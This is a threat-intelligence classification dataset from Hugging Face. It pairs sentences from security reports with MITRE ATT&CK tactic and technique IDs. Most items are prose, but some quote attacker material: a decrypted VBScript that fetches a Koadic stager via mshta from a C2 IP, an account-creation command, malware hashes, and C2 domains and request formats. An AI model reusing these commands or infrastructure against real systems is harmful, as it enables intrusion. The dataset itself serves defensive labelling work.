madox81/Adema_ATTACK_DS huggingface dataset:
Input: The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext:       set objshell = createobject(\"wscript.shell\")objshell.run \"mshta hxxp://86.106.131.177:6500/zIZFh\",vbhide     The Koadic C2 server will respond to this request with Javascript code that acts as the Koadic staging payload, which allows the actor to run additional Koadic modules on the end system to carry out their post-exploitation activities

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -–type=service –all.

Tactics: TA0003, TA0004
Techniques: T1543.002, T1543
Input: With a sufficient level of access, the net user /add command can be used to create a local account.

Tactics: TA0003
Techniques: T1136, T1136.001
Input: Monitor executed commands and arguments that may gather information in an attempt to calculate the geographical location of a victim host.

Tactics: TA0007
Techniques: T1614
Input: CosmicDuke steals user files from removable media with file extensions and keywords that match a predefined list.

Tactics: TA0009
Techniques: T1025
Input: Monitor executed commands and arguments that may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment.

Tactics: TA0007
Techniques: T1518
Input: Monitor for changes to files associated with system-level processes.

Tactics: TA0003, TA0004
Techniques: T1543
Input: Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll).

Tactics: TA0002
Techniques: T1106
Input: To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.

Tactics: TA0003
Techniques: T1137, T1137.001
Input: Kimsuky has used links in e-mail to steal account information.

Tactics: TA0043
Techniques: T1598, T1598.003
Input: Mustang Panda has used tasklist /v to determine active process information.

Tactics: TA0007
Techniques: T1057
Input: Fysbis has the ability to create and execute commands in a remote shell for CLI.

Tactics: TA0002
Techniques: T1059.004, T1059
Input: Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

Tactics: TA0005, TA0008
Techniques: T1550.004, T1550
Input: Chimera has has used net user /dom and net user Administrator to enumerate domain accounts including administrator accounts.

Tactics: TA0007
Techniques: T1087.002, T1087
Input: They utilised Windows commands in order to enumerate and conduct reconnaissance activities such as tasklist.exe, ping.exe, netstat.exe, net.exe, systeminfo.exe, ipconfig.exe and bcp.exe

Tactics: TA0004, TA0005
Techniques: T1036, T1055.012, T1055
Input: OceanSalt can collect the victim’s IP address.

Tactics: TA0007
Techniques: T1016
Input: Dtrack used hard-coded credentials to gain access to a network share.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078
Input: DustySky searches for removable media and duplicates itself onto it.

Tactics: TA0001, TA0008
Techniques: T1091
Input: Read a specified file’s contents and send the data to the control server Write data sent by the control server to an existing file Mark a file to be deleted on reboot  Marking a file for deletion on reboot

Tactics: TA0005, TA0010
Techniques: T1041, T1070, T1070.006
Input: Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.

Tactics: TA0001
Techniques: T1195, T1195.003
Input: Gallmaker attempted to exploit Microsoft’s DDE protocol in order to gain access to victim machines and for execution.

Tactics: TA0002
Techniques: T1559, T1559.002
Input: It will also gather the username of running processes to determine if it is running as SYSTEM.

Tactics: TA0007
Techniques: T1033
Input: Leviathan has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.

Tactics: TA0010
Techniques: T1567.002, T1567
Input: Masquerading may increase the chance of users mistakenly executing these files.

Tactics: TA0042
Techniques: T1608.001, T1608
Input: HAFNIUM has used the NT AUTHORITY\SYSTEM account to create files on Exchange servers.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078, T1078.003
Input: Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against unauthorized access and tampering.

Tactics: TA0040
Techniques: T1565.003, T1565
Input: SysUpdate can use WMI for execution on a compromised host.

Tactics: TA0002
Techniques: T1047
Input: Tropic Trooper has collected information automatically using the adversary's USBferry attack.

Tactics: TA0009
Techniques: T1119
Input: Avaddon has collected information about running processes.

Tactics: TA0007
Techniques: T1057
Input: Watch for access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories.

Tactics: TA0009
Techniques: T1213, T1213.001
Input: This will prevent use of application shimming to bypass UAC.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.011
Input: Lizar has used the PowerKatz plugin that can be loaded into the address space of a PowerShell process through reflective DLL loading.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: If the language is found in the list, the process terminates.

Tactics: TA0007
Techniques: T1614, T1614.001
Input: Monitor executed commands and arguments that may perform sudo caching and/or use the suoders file to elevate privileges, such as the sudo command.

Tactics: TA0004, TA0005
Techniques: T1548.003, T1548
Input: The BlackEnergy component KillDisk is capable of deleting Windows Event Logs.

Tactics: TA0005
Techniques: T1070, T1070.001
Input: CARROTBAT has the ability to execute command line arguments on a compromised host.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app .

Tactics: TA0005
Techniques: T1564, T1564.001
Input: Adversaries may scan victim IP blocks to gather information that can be used during targeting.

Tactics: TA0043
Techniques: T1595.001, T1595
Input: Sandworm Team used a backdoor to enumerate information about the infected system's operating system.

Tactics: TA0007
Techniques: T1082
Input: Lazarus Group has used WMIC to execute a remote XSL script to establish persistence.

Tactics: TA0005
Techniques: T1220
Input: HyperBro has the ability to download additional files.

Tactics: TA0011
Techniques: T1105
Input: PoetRAT used TLS to encrypt command and control (C2) communications.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: ftp may be abused by adversaries to transfer tools or files from an external system into a compromised environment.

Tactics: TA0011
Techniques: T1105
Input: Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it.

Tactics: TA0003, TA0005, TA0011
Techniques: T1205
Input: Monitor for newly constructed files in user directories.

Tactics: TA0040
Techniques: T1486
Input: To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.

Tactics: TA0005
Techniques: T1564.002, T1564
Input: Brute forcing credentials may take place at various points during a breach.

Tactics: TA0006
Techniques: T1110
Input: Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads.

Tactics: TA0002
Techniques: T1059.008, T1059
Input: LookBack can retrieve file listings from the victim machine.

Tactics: TA0007
Techniques: T1083
Input: For legacy programs, macOS executes /etc/bashrc on startup.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.004
Input: To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports.

Tactics: TA0003, TA0005, TA0011
Techniques: T1205, T1205.001
Input: Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group.

Tactics: TA0005
Techniques: T1222.002, T1222
Input: Bad Rabbit has used rundll32 to launch a malicious DLL as C:Windowsinfpub.dat.

Tactics: TA0005
Techniques: T1218, T1218.011
Input: Appendix A – Related IoCs Directly related: 45.248.84[.]7 172.104.65[.]97    SHA256 Comments   5909c1dcfb3270b2b057513561b2ab1613687a0af0072c51244ff005b113888b PlugX   6804be0689bbfbb180bb384ebc316f50cb87e65553d0c3597d6e9b6b6dd8dd3f PlugX   8ea275eee557037ab6626d15c0107bdcf20b45a8307a0dc3baa85d49acc94331 PlugX   e6020eb997715c4f627b6e6a16947861bce310aa31fcf58448a5beba11626d36 PlugX   4554aa6c2fdd58dfddebdb786c5d23cd6277025ab0355ffb5d8967c3976e8659 PlugX   3817388a983d5ee1604a8eec621b5eb251cb8bdeab9c8591fe5e8c90cd99ed49 CVE-2017-0199   45513f942b217def56a1eac82a4b5edca65ebdd5e36c7a8751bf0350d5ebea39 CVE-2017-0199   64d7d4846c5dd00a7271fe8a83aebe4317d06abad84d44ffd6f42b1004704bd5 PlugX   07d94726a1ae764fa5322531f29fe80f0246dd40b4d052c98f269987a3ee4515 PowerShell PlugX   4622f8357846f7a0bea3ce453bb068b443e21359203dfa2f74301c7a79a408c2 Downloader for PS PlugX ++ MSI PlugX   49baf12f50fec772fdfe56c49005efb306b72a312a7dbdad98066029a191bfaf CVE-2017-0199    https://pastebin[.]com/eSsjmhBG https://pastebin[.]com/PSxQd6qw https://pastebin[.]com/CzjM9qwi https://pastebin[.]com/xHDSxxMD Inferred relation via similar targeting    SHA256 Family   6e5864faf4312bf3787e79e432c1acacf2a699ecb5b797cac56e62ed0a8e965c Idicaf   6b455714664a65e2a4af61b11d141467f4554e215e3ebd02e8f3876d8aa31954 Idicaf   df58962a3a065f1587f543a501d0e3f0ca05ebac51fc35d4bb4669d8eac9d8c1 Idicaf   52fee36c647ca799e21cd75db1f425ccf632b28c27e67b8578ff6dd30ca62af7 Idicaf   90e45c7b3798433199d6d917a4847a409dbdc101b210d9798f8c78ee43abf6d8 Idicaf   5ff788efd079eb2987b03d98e0c8211ac97ae6479274bade36a170b5a396f72b Idicaf   535abe8cd436d6b635c5687db0ae8d47c7c3679e4f5e2b4d629276b41fca0578 Idicaf   ef85896426a0a558ab17346a67f108045d142a2d2a21f7702bfb8be50542726d Idicaf   d41e2bbc8ea10dd7543d5f4cb02983e2b1ad5d47cc3ce5fa95189501c019fdac Idicaf   208bd18054134909e2ad680c0096477c48a58e8754a9439002e6523f71e66d47 PlugX   3e9136f95fa55852993cd15b82fe6ec54f78f34584f7689b512a46f0a22907f2 PlugX   5deab61f83e9afe13a79930eda1bdcb6c867042a1ce0e5c44e4209a60ab3327d PlugX   6500636c29eba70efd3eb3be1d094dfda4ec6cca52ace23d50e98e6b63308fdb PlugX   8e07c7636be935e0a6184db8a85fd8b607e6c48bb07d34d0138432f7c697bc99 PlugX    Domains: kbklxpb.imshop.in serupdate.wicp.net msfcnsoft.com micros0ff.com msfcnsoft.com microsoff.net msffncsi.com A781195.gicp.net upgradsource.com B781195.vicp.net kbklxp.eicp.net Appendix B – Python Scripts LZNT1 decrypt script, only works with Windows

Tactics: TA0002, TA0007, TA0011
Techniques: T1007, T1087, T1203, T1071
Input: /var/log/messages:: General and system-related messages

Tactics: TA0005
Techniques: T1070, T1070.002
Input: Skidmap has the ability to download files on an infected host.

Tactics: TA0011
Techniques: T1105
Input: Adversaries may search in different open databases depending on what information they seek to gather.

Tactics: TA0043
Techniques: T1596
Input: Pisloader has a command to upload a file to the victim machine.

Tactics: TA0011
Techniques: T1105
Input: Conti has the ability to discover hosts on a target network.

Tactics: TA0007
Techniques: T1018
Input: Adversaries may gather information about the victim's business tempo that can be used during targeting.

Tactics: TA0043
Techniques: T1591.003, T1591
Input: DarkWatchman has the ability to enumerate file and folder names.

Tactics: TA0007
Techniques: T1083
Input: Tropic Trooper also decrypted image files which contained a payload.

Tactics: TA0005
Techniques: T1140
Input: LazyScripter has used spam emails weaponized with archive or document files as its initial infection vector.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: RTM can download additional files.

Tactics: TA0011
Techniques: T1105
Input: In at least some of these recent attacks, Buckeye used spear-phishing emails with a malicious .zip attachment

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process.

Tactics: TA0004, TA0005
Techniques: T1134.004, T1134
Input: APT32 has used legitimate local admin account credentials.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078, T1078.003
Input: Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.

Tactics: TA0005, TA0007
Techniques: T1480, T1497, T1480.001, T1497.001, T1622, T1497.002, T1497.003
Input: Based on packet capture analysis of previous implants from 2017, the following strings are used in control server communications:  Connection: keep-alive Cache-Control: max-age=0 Accept: */* Content-Type: multipart/form-data; boundary= Content-Type: application/octet-stream Accept-Encoding: gzip,deflate,sdch Accept-Language: ko-KR -> Korean  Content-Disposition: form-data;name=”board_id” Content-Disposition: form-data;name=”user_id” Content-Disposition: form-data;name=”file1″; filename=”img01_29.jpg” Content-Disposition: form-data;name=”file1″; filename=”my.doc” Content-Disposition: form-data;name=”file1″; filename=”pratice.pdf” Content-Disposition: form-data;name=”file1″; filename=”king.jpg” Content-Disposition: form-data;name=”file1″; filename=”dream.avi” Content-Disposition: form-data;name=”file1″; filename=”hp01.avi” Content-Disposition: form-data;name=”file1″; filename=”star.avi”  User Agents The implant either fetches the user agent from Internet Explorer (using ObtainUserAgentAsString()) or uses a default user agent specified in the malware binary: Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 Control Server Communications The malware initiates communication with the control server by sending it an HTTP POST request with additional optional HTTP data, such as: ------FormBoundary<randomly_generated_characters> Content-Disposition: form-data; name="board_id"  8306 ------FormBoundary<randomly_generated_characters> Content-Disposition: form-data; name="user_id"  *dJU!*JE&!M@UNQ@ ------FormBoundary<randomly_generated_characters> Content-Disposition: form-data; name="file1"; filename="king.jpg" Content-Type: application/octet-stream  board_id is a four-digit number that may be an identifier for a campaign ID

Tactics: TA0002, TA0005, TA0009, TA0011, TA0010
Techniques: T1115, T1132, T1036, T1048, T1560, T1204
Input: Aria-body has the ability to enumerate loaded modules for a process..

Tactics: TA0007
Techniques: T1057
Input: BlackEnergy has searched for given file types.

Tactics: TA0007
Techniques: T1083
Input: Metamorfo has hidden its GUI using the ShowWindow() WINAPI call.

Tactics: TA0005
Techniques: T1564.003, T1564
Input: The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site.

Tactics: TA0043
Techniques: T1598, T1598.003
Input: Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode.

Tactics: TA0004
Techniques: T1068
Input: PowerSploit's New-UserPersistenceOption Persistence argument can be used to establish via a Scheduled Task/Job.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: MarkiRAT can gather information from the Keepass password manager.

Tactics: TA0006
Techniques: T1555.005, T1555
Input: Ecipekac has the ability to decrypt fileless loader modules.

Tactics: TA0005
Techniques: T1140
Input: Rifdoor has added four additional bytes of data upon launching, then saved the changed version as C:\ProgramData\Initech\Initech.exe.

Tactics: TA0005
Techniques: T1027, T1027.001
Input: APT39 has exfiltrated stolen victim data through C2 communications.

Tactics: TA0010
Techniques: T1041
Input: This version injects a malicious module into one of Avast's processes, whereas early versions of the campaign detected Avast and quit

Tactics: TA0004, TA0005
Techniques: T1055
Input: WINDSHIELD can gather Registry values.

Tactics: TA0007
Techniques: T1012
Input: Cyclops Blink can enumerate the process it is currently running under.

Tactics: TA0007
Techniques: T1057
Input: Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level.

Tactics: TA0008
Techniques: T1570
Input: The public IP is then POSTed along with OS Version, Internal IP, Machine Name, Domain Name, UserName after being encrypted to the previously chosen URL to register a new victim

Tactics: TA0007
Techniques: T1016
Input: SUNBURST collected the registry value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid from compromised hosts.

Tactics: TA0007
Techniques: T1012
Input: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting.

Tactics: TA0042
Techniques: T1588.004, T1588
Input: Sandworm Team used UPX to pack a copy of Mimikatz.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Stuxnet enumerates user accounts of the domain.

Tactics: TA0007
Techniques: T1087.002, T1087
Input: By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.

Tactics: TA0005, TA0008
Techniques: T1550
Input: Monitor for newly constructed network connections (typically over ports 139 or 445), especially those that are sent or received by abnormal or untrusted hosts.

Tactics: TA0008
Techniques: T1021, T1021.002
Input: One persistence mechanism used by CozyCar is to register itself as a Windows service.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource ( MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.

Tactics: TA0006
Techniques: T1558.002, T1558
Input: Backdoor.Remexi, one of the malware in use by Chafer, had the following  command and control host: 87pqxz159.dockerjsbin[.]com Interestingly, IP address  83.142.230.138, which serve as a command and control address for an OilRig related sample (3a5fcba80c1fd685c4b5085d9d474118), was pointed to by 87pqxz159.dockerjsbin[.]com as well

Tactics: TA0007, TA0011
Techniques: T1016, T1102
Input: Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).

Tactics: TA0043
Techniques: T1589.003, T1589
Input: A system's root certificates are unlikely to change frequently.

Tactics: TA0005
Techniques: T1553, T1553.004
Input: Dragonfly has identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.

Tactics: TA0007
Techniques: T1135
Input: Indicators    Type Value   MD5 364ff454dcf00420cff13a57bcb78467   SHA256 8bca0031f3b691421cb15f9c6e71ce193 355d2d8cf2b190438b6962761d0c6bb   ssdeep 3072:n+1R4tREtGN4qyGCXdHPYK9l 0H786O26BmMAwyWMn/qwwiHNl:n +1R43QcILXdF0w6IBmMAwwCwwi   MD5 075b6695ab63f36af65f7ffd45cccd39   SHA-256 02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592   ssdeep 3072:9ZAxHANuat3WWFY9nqjwbuZf454UNqRpROIDLHaSeWb3LGmPTrIW33HxIajF:9ZAxHANJAvbuZf454UN+rveQLZPTrV3Z   MD5 e107c5c84ded6cd9391aede7f04d64c8   SHA-256 fd8b2ea9a2e8a67e4cb3904b49c789d57ed9b1ce5bebfe54fe3d98214d6a0f61   ssdeep 6144:W/D5tpLWtr91gmaVy+mdckn6BCUdc4mLc2B9:4D5Lqgkcj+   Path /bin/rsyncd   Path Desc synchronize and backup service   Path ~/.config/dbus-notifier/dbus-inotifier   Path Desc system service d-bus notifier   Path /bin/ksysdefd   Path ~/.config/ksysdef/ksysdefd   Path Desc system kernel service defender   C2 azureon-line[.]com   C2 198.105.125[.]74   C2 mozilla-plugins[.]com   C2 Mozillaplagins[.]com

Tactics: TA0003, TA0004, TA0011, TA0010
Techniques: T1041, T1071, T1543.002, T1008, T1543, T1102
Input: Require signed binaries.

Tactics: TA0005
Techniques: T1036, T1036.001
Input: Monitor newly executed processes that may abuse Python commands and scripts for execution.

Tactics: TA0002
Techniques: T1059.006, T1059
Input: LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.

Tactics: TA0003, TA0004
Techniques: T1547.008, T1547
Input: Moafee has been known to employ binary padding.

Tactics: TA0005
Techniques: T1027, T1027.001
Input: Some Volgmer variants also install .dll files as services with names generated by a list of hard-coded strings.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Proton removes all files in the /tmp directory.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Carbanak checks the Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings for proxy configurations information.

Tactics: TA0007
Techniques: T1012
Input: GoldenSpy has gathered operating system information.

Tactics: TA0007
Techniques: T1082
Input: APT18 uses DNS for C2 communications.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: Deep Panda has used ping to identify other machines of interest.

Tactics: TA0007
Techniques: T1018
Input: Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations.

Tactics: TA0001, TA0003
Techniques: T1133
Input: Turla has used WMI event filters and consumers to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1546.003, T1546
Input: Empire can find shared drives on the local system.

Tactics: TA0007
Techniques: T1135
Input: Mustang Panda has used InstallUtil.exe to execute a malicious Beacon stager.

Tactics: TA0005
Techniques: T1218, T1218.004
Input: Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros.

Tactics: TA0003
Techniques: T1137, T1137.001
Input: Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows ( unauthorized, gratuitous, or anomalous traffic patterns attempting to access network configuration content)

Tactics: TA0009
Techniques: T1602, T1602.002
Input: Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB/Windows Admin Shares to connected network shares or with authenticated connections via Remote Desktop Protocol.

Tactics: TA0008
Techniques: T1570
Input: RDAT has used DNS to communicate with the C2.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: Green Lambert can use multiple custom routines to decrypt strings prior to execution.

Tactics: TA0005
Techniques: T1140
Input: Nebulae has the ability to use CreateProcess to execute a process.

Tactics: TA0002
Techniques: T1106